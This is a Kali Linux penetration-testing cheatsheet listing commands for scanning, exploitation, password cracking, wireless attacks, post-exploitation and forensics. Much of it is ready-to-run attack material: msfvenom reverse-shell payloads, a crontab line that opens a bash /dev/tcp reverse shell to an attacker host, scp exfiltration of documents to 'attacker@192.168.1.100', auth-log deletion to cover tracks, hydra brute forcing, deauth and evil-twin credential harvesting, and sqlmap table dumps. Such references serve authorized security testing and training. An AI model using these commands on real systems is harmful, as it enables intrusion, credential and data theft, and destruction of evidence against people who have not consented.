Kali Linux Cheatsheet

Essential commands for penetration testing and ethical hacking

This cheatsheet provides a comprehensive reference to fundamental Kali Linux commands, tools, and techniques, ideal for both beginners and experienced security professionals for efficient penetration testing and cybersecurity operations.

System Setup
Initialize and configure Kali Linux

Network Discovery
Scan and enumerate networks

Vulnerability Analysis
Identify security weaknesses

Password Attacks
Crack and analyze passwords

Web Application Testing
Assess web security vulnerabilities

System Setup & Configuration

Initial Setup: `sudo apt update`

Update system packages and repositories for optimal performance.

```
# Update package repository
sudo apt update
# Upgrade installed packages
sudo apt upgrade
# Full system upgrade
sudo apt full-upgrade
# Install essential tools
sudo apt install curl wget git
```

User Management: `sudo useradd`

Create and manage user accounts for security testing.

```
# Add new user
sudo useradd -m username
# Set password
sudo passwd username
# Add user to sudo group
sudo usermod -aG sudo username
# Switch user
su - username
```

Service Management: `systemctl`

Control system services and daemons for testing scenarios.

```
# Start service
sudo systemctl start apache2
# Stop service
sudo systemctl stop apache2
# Enable service at boot
sudo systemctl enable ssh
# Check service status
sudo systemctl status postgresql
```

Network Configuration: `ifconfig`

Configure network interfaces for penetration testing.

```
# Display network interfaces
ifconfig
# Configure IP address
sudo ifconfig eth0 192.168.1.100
# Set interface up/down
sudo ifconfig eth0 up
# Configure wireless interface
sudo ifconfig wlan0 up
```

Environment Variables: `export`

Set up testing environment variables and paths.

```
# Set target IP
export TARGET=192.168.1.1
# Set wordlist path
export WORDLIST=/usr/share/wordlists/rockyou.txt
# View environment variables
env | grep TARGET
```

Tool Installation: `apt install`

Install additional security tools and dependencies.

```
# Install additional tools
sudo apt install nmap wireshark burpsuite
# Install from GitHub
git clone https://github.com/tool/repo.git
# Install Python tools
pip3 install --user tool-name
```

Network Discovery & Scanning

Discover and analyze network infrastructure and services.

01

Host Discovery: `nmap -sn`

Identify live hosts on the network using ping sweeps.

```
# Ping sweep
nmap -sn 192.168.1.0/24
# ARP scan (local network)
nmap -PR 192.168.1.0/24
# ICMP echo scan
nmap -PE 192.168.1.0/24
# Fast host discovery
masscan --ping 192.168.1.0/24
```

02

Port Scanning: `nmap`

Scan for open ports and running services on target systems.

```
# Basic TCP scan
nmap 192.168.1.1
# Aggressive scan
nmap -A 192.168.1.1
# UDP scan
nmap -sU 192.168.1.1
# Stealth SYN scan
nmap -sS 192.168.1.1
```

03

Service Enumeration: `nmap -sV`

Identify service versions and potential vulnerabilities.

```
# Version detection
nmap -sV 192.168.1.1
# OS detection
nmap -O 192.168.1.1
# Script scanning
nmap -sC 192.168.1.1
# Comprehensive scan
nmap -sS -sV -O -A 192.168.1.1
```

Information Gathering & Reconnaissance

DNS Enumeration: `dig`

Gather DNS information and perform zone transfers.

```
# Basic DNS lookup
dig example.com
# Reverse DNS lookup
dig -x 192.168.1.1
# Zone transfer attempt
dig @ns1.example.com example.com axfr
# DNS enumeration
dnsrecon -d example.com
```

Web Reconnaissance: `dirb`

Discover hidden directories and files on web servers.

```
# Directory brute force
dirb http://192.168.1.1
# Custom wordlist
dirb http://192.168.1.1
/usr/share/wordlists/dirbuster/directory-list-2.3-
medium.txt
# Gobuster alternative
gobuster dir -u http://192.168.1.1 -w
/usr/share/wordlists/dirbuster/directory-list-2.3-small.txt
```

WHOIS Information: `whois`

Gather domain registration and ownership information.

```
# WHOIS lookup
whois example.com
# IP WHOIS
whois 8.8.8.8
# Comprehensive info gathering
theharvester -d example.com -l 100 -b google
```

SSL/TLS Analysis: `sslscan`

Analyze SSL/TLS configuration and vulnerabilities.

```
# SSL scan
sslscan 192.168.1.1:443
# Testssl comprehensive analysis
testssl.sh https://example.com
# SSL certificate info
openssl s_client -connect example.com:443
```

SMB Enumeration: `enum4linux`

Enumerate SMB shares and NetBIOS information.

```
# SMB enumeration
enum4linux 192.168.1.1
# List SMB shares
smbclient -L //192.168.1.1
# Connect to share
smbclient //192.168.1.1/share
# SMB vulnerability scan
nmap --script smb-vuln* 192.168.1.1
```

SNMP Enumeration: `snmpwalk`

Gather system information via SNMP protocol.

```
# SNMP walk
snmpwalk -c public -v1 192.168.1.1
# SNMP check
onesixtyone -c community.txt 192.168.1.1
# SNMP enumeration
snmp-check 192.168.1.1
```

Vulnerability Analysis & Exploitation

Vulnerability Scanning: `nessus`

Identify security vulnerabilities using automated scanners.

```
# Start Nessus service
sudo systemctl start nessusd
# OpenVAS scan
openvas-start
# Nikto web vulnerability scanner
nikto -h http://192.168.1.1
# SQLmap for SQL injection
sqlmap -u "http://example.com/page.php?id=1"
```

Metasploit Framework: `msfconsole`

Launch exploits and manage penetration testing campaigns.

```
# Start Metasploit
msfconsole
# Search exploits
search ms17-010
# Use exploit
use exploit/windows/smb/ms17_010_eternalblue
# Set target
set RHOSTS 192.168.1.1
```

Buffer Overflow Testing: `pattern_create`

Generate patterns for buffer overflow exploitation.

```
# Create pattern
pattern_create.rb -l 400
# Find offset
pattern_offset.rb -l 400 -q EIP_value
# Generate shellcode
msfvenom -p windows/shell_reverse_tcp
LHOST=192.168.1.100 LPORT=4444 -f c
```

Custom Exploit Development: `msfvenom`

Create custom payloads for specific targets.

```
# Windows reverse shell
msfvenom -p windows/meterpreter/reverse_tcp
LHOST=192.168.1.100 LPORT=4444 -f exe > shell.exe
# Linux reverse shell
msfvenom -p linux/x86/shell_reverse_tcp
LHOST=192.168.1.100 LPORT=4444 -f elf > shell.elf
```

Password Attacks & Credential Testing

Assess password security through various attack methods.

Brute Force Attacks: `hydra`

Perform login brute force attacks against various services.

```
# SSH brute force
hydra -l admin -P /usr/share/wordlists/rockyou.txt
ssh://192.168.1.1
# HTTP form brute force
hydra -l admin -P passwords.txt 192.168.1.1 http-form-
post
"/login:username=^USER^&password=^PASS^:Invalid"
# FTP brute force
hydra -L users.txt -P passwords.txt ftp://192.168.1.1
```

Hash Cracking: `hashcat`

Crack password hashes using GPU acceleration.

```
# MD5 hash cracking
hashcat -m 0 -a 0 hash.txt
/usr/share/wordlists/rockyou.txt
# NTLM hash cracking
hashcat -m 1000 -a 0 ntlm.hash wordlist.txt
# Generate wordlist variations
hashcat --stdout -r /usr/share/hashcat/rules/best64.rule
wordlist.txt
```

John the Ripper: `john`

Traditional password cracking with various attack modes.

```
# Crack password file
john --wordlist=/usr/share/wordlists/rockyou.txt
shadow.txt
# Show cracked passwords
john --show shadow.txt
# Incremental mode
john --incremental shadow.txt
# Custom rules
john --rules --wordlist=passwords.txt shadow.txt
```

Wordlist Generation: `crunch`

Create custom wordlists for targeted attacks.

```
# Generate 4-8 character wordlist
crunch 4 8 -o wordlist.txt
# Custom character set
crunch 6 6 -t admin@ -o passwords.txt
# Pattern-based generation
crunch 8 8 -t @@@@%%%% -o mixed.txt
```

Wireless Network Security Testing

Monitor Mode Setup: `airmon-ng`

Configure wireless adapter for packet capture and injection.

```
# Enable monitor mode
sudo airmon-ng start wlan0
# Check for interfering processes
sudo airmon-ng check kill
# Stop monitor mode
sudo airmon-ng stop wlan0mon
```

Network Discovery: `airodump-ng`

Discover and monitor wireless networks and clients.

```
# Scan all networks
sudo airodump-ng wlan0mon
# Target specific network
sudo airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w
capture wlan0mon
# Show only WEP networks
sudo airodump-ng --encrypt WEP wlan0mon
```

WPA/WPA2 Attacks: `aircrack-ng`

Perform attacks against WPA/WPA2 encrypted networks.

```
# Deauth attack
sudo aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
# Crack captured handshake
aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-
01.cap
# WPS attack with Reaver
reaver -i wlan0mon -b AA:BB:CC:DD:EE:FF -vv
```

Evil Twin Attack: `hostapd`

Create rogue access points for credential harvesting.

```
# Start rogue AP
sudo hostapd hostapd.conf
# DHCP service
sudo dnsmasq -C dnsmasq.conf
# Capture credentials
ettercap -T -M arp:remote /192.168.1.0/24//
```

Web Application Security Testing

Assess web applications for security vulnerabilities.

SQL Injection Testing: `sqlmap`

Automated SQL injection detection and exploitation.

```
# Basic SQL injection test
sqlmap -u "http://example.com/page.php?id=1"
# Test POST parameters
sqlmap -u "http://example.com/login.php" --
data="username=admin&password=test"
# Extract database
sqlmap -u "http://example.com/page.php?id=1" --dbs
# Dump specific table
sqlmap -u "http://example.com/page.php?id=1" -D
database -T users --dump
```

Cross-Site Scripting: `xsser`

Test for XSS vulnerabilities in web applications.

```
# XSS testing
xsser --url "http://example.com/search.php?q=XSS"
# Automated XSS detection
xsser -u "http://example.com" --crawl=10
# Custom payload
xsser --url "http://example.com" --payload="
<script>alert(1)</script>"
```

Burp Suite Integration: `burpsuite`

Comprehensive web application security testing platform.

```
# Start Burp Suite
burpsuite
# Configure proxy (127.0.0.1:8080)
# Set browser proxy to capture traffic
# Use Intruder for automated attacks
# Spider for content discovery
```

Directory Traversal: `wfuzz`

Test for directory traversal and file inclusion vulnerabilities.

```
# Directory fuzzing
wfuzz -c -z file,/usr/share/wordlists/dirbuster/directory-
list-2.3-medium.txt --hc 404 http://192.168.1.1/FUZZ
# Parameter fuzzing
wfuzz -c -z file,payloads.txt
"http://example.com/page.php?file=FUZZ"
```

Post-Exploitation & Privilege Escalation

System Enumeration: `linpeas`

Automated privilege escalation enumeration for Linux systems.

```
# Download LinPEAS
wget https://github.com/carlospolop/PEASS-
ng/releases/latest/download/linpeas.sh
# Make executable
chmod +x linpeas.sh
# Run enumeration
./linpeas.sh
# Windows alternative: winPEAS.exe
```

Persistence Mechanisms: `crontab`

Establish persistence on compromised systems.

```
# Edit crontab
crontab -e
# Add reverse shell
@reboot /bin/bash -c 'bash -i >&
/dev/tcp/192.168.1.100/4444 0>&1'
# SSH key persistence
echo "ssh-rsa AAAA..." >> ~/.ssh/authorized_keys
```

Data Exfiltration: `scp`

Securely transfer data from compromised systems.

```
# Copy file to attacker machine
scp file.txt user@192.168.1.100:/tmp/
# Compress and transfer
tar -czf data.tar.gz /home/user/documents
scp data.tar.gz attacker@192.168.1.100:/tmp/
# HTTP exfiltration
python3 -m http.server 8000
```

Covering Tracks: `history`

Remove evidence of activities on compromised systems.

```
# Clear bash history
history -c
unset HISTFILE
# Clear specific entries
history -d line_number
# Clear system logs
sudo rm /var/log/auth.log*
```

Digital Forensics & Analysis

Analyze evidence and recover digital artifacts.

Disk Imaging: `dd`

Create forensic images of storage devices.

```
# Create disk image
sudo dd if=/dev/sdb of=/tmp/evidence.img bs=4096
conv=noerror,sync
# Verify image integrity
md5sum /dev/sdb > original.md5
md5sum /tmp/evidence.img > image.md5
# Mount image
sudo mkdir /mnt/evidence
sudo mount -o ro,loop /tmp/evidence.img /mnt/evidence
```

File Recovery: `foremost`

Recover deleted files from disk images or drives.

```
# Recover files from image
foremost -i evidence.img -o recovered/
# Specific file types
foremost -t jpg,png,pdf -i evidence.img -o photos/
# PhotoRec alternative
photorec evidence.img
```

Memory Analysis: `volatility`

Analyze RAM dumps for forensic evidence.

```
# Identify OS profile
volatility -f memory.dump imageinfo
# List processes
volatility -f memory.dump --profile=Win7SP1x64 pslist
# Extract process
volatility -f memory.dump --profile=Win7SP1x64
procdump -p 1234 -D output/
```

Network Packet Analysis: `wireshark`

Analyze network traffic captures for forensic evidence.

```
# Start Wireshark
wireshark
# Command line analysis
tshark -r capture.pcap -Y "http.request.method==GET"
# Extract files
foremost -i capture.pcap -o extracted/
```

Report Generation & Documentation

Screenshot Capture: `gnome-screenshot`

Document findings with systematic screenshot capture.

```
# Full screen capture
gnome-screenshot -f screenshot.png
# Window capture
gnome-screenshot -w -f window.png
# Delayed capture
gnome-screenshot -d 5 -f delayed.png
# Area selection
gnome-screenshot -a -f area.png
```

Log Management: `script`

Record terminal sessions for documentation purposes.

```
# Start recording session
script session.log
# Record with timing
script -T session.time session.log
# Replay session
scriptreplay session.time session.log
```

Report Templates: `reportlab`

Generate professional penetration testing reports.

```
# Install report tools
pip3 install reportlab
# Generate PDF report
python3 generate_report.py
# Markdown to PDF
pandoc report.md -o report.pdf
```

Evidence Integrity: `sha256sum`

Maintain chain of custody with cryptographic hashes.

```
# Generate checksums
sha256sum evidence.img > evidence.sha256
# Verify integrity
sha256sum -c evidence.sha256
# Multiple file checksums
find /evidence -type f -exec sha256sum {} \; >
all_files.sha256
```

System Maintenance & Optimization

Keep your Kali Linux system updated and optimized for security testing.

Package Management: `apt`

Maintain and update system packages and security tools.

```
# Update package lists
sudo apt update
# Upgrade all packages
sudo apt upgrade
# Install specific tool
sudo apt install tool-name
# Remove unused packages
sudo apt autoremove
```

Kernel Updates: `uname`

Monitor and update system kernel for security patches.

```
# Check current kernel
uname -r
# List available kernels
apt list --upgradable | grep linux-image
# Install new kernel
sudo apt install linux-image-generic
# Remove old kernels
sudo apt autoremove --purge
```

Tool Verification: `which`

Verify tool installations and locate executables.

```
# Locate tool
which nmap
# Check if tool exists
command -v metasploit
# List all tools in directory
ls /usr/bin/ | grep -i security
```

Resource Monitoring: `htop`

Monitor system resources during intensive security testing.

```
# Interactive process viewer
htop
# Memory usage
free -h
# Disk usage
df -h
# Network connections
netstat -tulnp
```

Essential Kali Linux Shortcuts & Aliases

Improve efficiency with custom shortcuts and command aliases.

Create Aliases: `.bashrc`

Set up time-saving command shortcuts for frequent tasks.

```
# Edit bashrc
nano ~/.bashrc
# Add useful aliases
alias ll='ls -la'
alias nse='nmap --script-help'
alias target='export TARGET='
alias msf='msfconsole -q'
# Reload bashrc
source ~/.bashrc
```

Custom Functions: `function`

Create advanced command combinations for common workflows.

```
# Quick nmap scan function
function qscan() {
    nmap -sS -sV -O $1
}
# Directory setup for engagements
function pentest-setup() {
    mkdir -p {recon,scans,exploits,loot}
}
```

Keyboard Shortcuts: Terminal

Master essential keyboard shortcuts for faster navigation.

```
# Terminal shortcuts
Ctrl+C - Kill current command
Ctrl+Z - Suspend current command
Ctrl+L - Clear screen
Ctrl+R - Search command history
Tab - Auto-complete commands
↑/↓ - Navigate command history
```

Environment Configuration: `tmux`

Set up persistent terminal sessions for long-running tasks.

```
# Start new session
tmux new-session -s pentest
# Detach session
Ctrl+B, D
# List sessions
tmux list-sessions
# Attach to session
tmux attach -t pentest
```

Reference: This cheatsheet covers essential Kali Linux commands and tools for penetration testing, security auditing, and digital forensics. This comprehensive guide provides quick references, commands, and techniques for various aspects of penetration testing. Whether you're a beginner or an experienced pentester, this cheat sheet has got you covered.